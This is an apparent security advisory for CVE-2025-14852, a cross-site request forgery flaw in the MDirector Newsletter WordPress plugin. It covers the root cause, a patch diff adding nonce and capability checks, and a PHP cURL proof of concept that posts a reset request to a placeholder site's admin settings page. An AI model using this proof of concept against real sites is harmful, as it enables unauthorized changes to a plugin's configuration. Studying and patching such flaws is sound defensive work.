Atomic Edge analysis of CVE-2025-14852:
The MDirector Newsletter plugin for WordPress, versions up to and including 4.5.8, contains a Cross-Site Request Forgery vulnerability in its settings update functionality. This flaw allows attackers to trick an administrator into performing unintended actions, leading to unauthorized plugin configuration changes. The CVSS score of 4.3 reflects a medium severity rating.
The root cause is missing security checks in the `mdirectorNewsletterSave` function within the file `/mdirector-newsletter/admin/class-mdirector-newsletter-admin.php`. The function, which handles POST requests for saving plugin settings, lacked nonce verification and capability checks. Atomic Edge research confirms the vulnerable code path begins at line 169, where the function processes `$_POST` parameters like `cpt_reset` without validating the request’s authenticity or the user’s permissions.
Exploitation requires an attacker to craft a malicious web page or link that submits a forged POST request to the WordPress admin endpoint. The target is `/wp-admin/admin.php?page=mdirector-newsletter`. The payload includes parameters such as `cpt_reset=1` or other settings fields defined in the plugin’s `saveOptions` method. When a logged-in administrator with the `manage_options` capability visits the attacker’s page, the request executes, altering plugin configuration without consent.
The patch adds three security controls at the start of the `mdirectorNewsletterSave` function. It checks for the presence of the `mdirector_nonce_check` POST parameter, verifies the nonce against `mdirector-settings-page`, and confirms the user has the `manage_options` capability using `current_user_can`. The patch also updates the settings form in the same file to output the nonce field with the correct name parameter. These changes ensure that all settings update requests originate from the plugin’s own forms and are performed by authorized users.
Successful exploitation allows an unauthenticated attacker to modify the plugin’s operational settings. This could disrupt newsletter functionality, alter form behavior, or change integration credentials. While the vulnerability does not directly lead to remote code execution or site takeover, it enables unauthorized configuration changes that could impact service integrity and user data handling.
--- a/mdirector-newsletter/admin/class-mdirector-newsletter-admin.php
+++ b/mdirector-newsletter/admin/class-mdirector-newsletter-admin.php
@@ -169,6 +169,15 @@
*/
public function mdirectorNewsletterSave()
{
+ if ( ! isset( $_POST['mdirector_nonce_check'] ) ) {
+ return;
+ }
+ if ( ! wp_verify_nonce( $_POST['mdirector_nonce_check'], 'mdirector-settings-page' ) ) {
+ wp_die( 'Error de seguridad: La validación del token ha fallado. Inténtalo de nuevo.' );
+ }
+ if ( ! current_user_can( 'manage_options' ) ) {
+ wp_die( 'No tienes permisos suficientes para modificar estos ajustes.' );
+ }
// Reset user values and restoring all to its default values
if (isset($_POST['cpt_reset'])) {
$this->resetOptions();
@@ -934,7 +943,7 @@
echo '<form method="post" action="'
. admin_url('admin.php?page=mdirector-newsletter')
. '" class="form-table form-md">';
- wp_nonce_field('mdirector-settings-page');
+ wp_nonce_field('mdirector-settings-page', 'mdirector_nonce_check');
switch ($currentTab) {
case 'settings':
--- a/mdirector-newsletter/mdirector-newsletter.php
+++ b/mdirector-newsletter/mdirector-newsletter.php
@@ -15,7 +15,7 @@
* Plugin Name: MDirector Newsletter
* Plugin URI: https://www.mdirector.com/
* Description: Official MDirector plugin for WordPress. Add MDirector sign-up forms to your WordPress site.
- * Version: 4.5.8
+ * Version: 4.5.10
* Author: MDirector
* Author URI: https://mdirector.com/
* License: GPL-2.0
@@ -37,7 +37,7 @@
define('MDIRECTOR_MIN_WP_VERSION', '4.0.0');
define('MDIRECTOR_NEWSLETTER', 'mdirector-newsletter');
-define('MDIRECTOR_NEWSLETTER_VERSION', '4.5.8');
+define('MDIRECTOR_NEWSLETTER_VERSION', '4.5.10');
define('MDIRECTOR_NEWSLETTER_PLUGIN_DIR', plugin_dir_path(__FILE__));
define('MDIRECTOR_TEMPLATES_PATH', plugin_dir_path(__FILE__) . 'templates/');
define('MDIRECTOR_LOGS_PATH', plugin_dir_path(__FILE__) . 'log/');
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14852 - MDirector Newsletter <= 4.5.8 - Cross-Site Request Forgery to Plugin Settings Update
<?php
// Configuration: Set the target WordPress site URL.
$target_url = 'http://vulnerable-wordpress-site.com';
// Construct the target admin endpoint for the MDirector Newsletter settings page.
$admin_action_url = $target_url . '/wp-admin/admin.php?page=mdirector-newsletter';
// Prepare the POST data payload to reset plugin options.
// The 'cpt_reset' parameter triggers the resetOptions() function in the vulnerable handler.
$post_fields = array(
'cpt_reset' => '1'
// Additional plugin settings parameters could be added here to alter configuration.
);
// Initialize cURL session.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_action_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// The following headers simulate a form submission. The Referer header is set to the target admin area.
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/x-www-form-urlencoded',
'Referer: ' . $target_url . '/wp-admin/admin.php?page=mdirector-newsletter'
));
// Note: This PoC must be executed in the context of an authenticated administrator's browser session.
// In a real attack, this payload would be embedded in a malicious page visited by the admin.
// Execute the request.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output the result.
echo "Sent CSRF payload to: $admin_action_urln";
echo "HTTP Response Code: $http_coden";
if ($response !== false) {
echo "Response length: " . strlen($response) . " bytesn";
}
?>
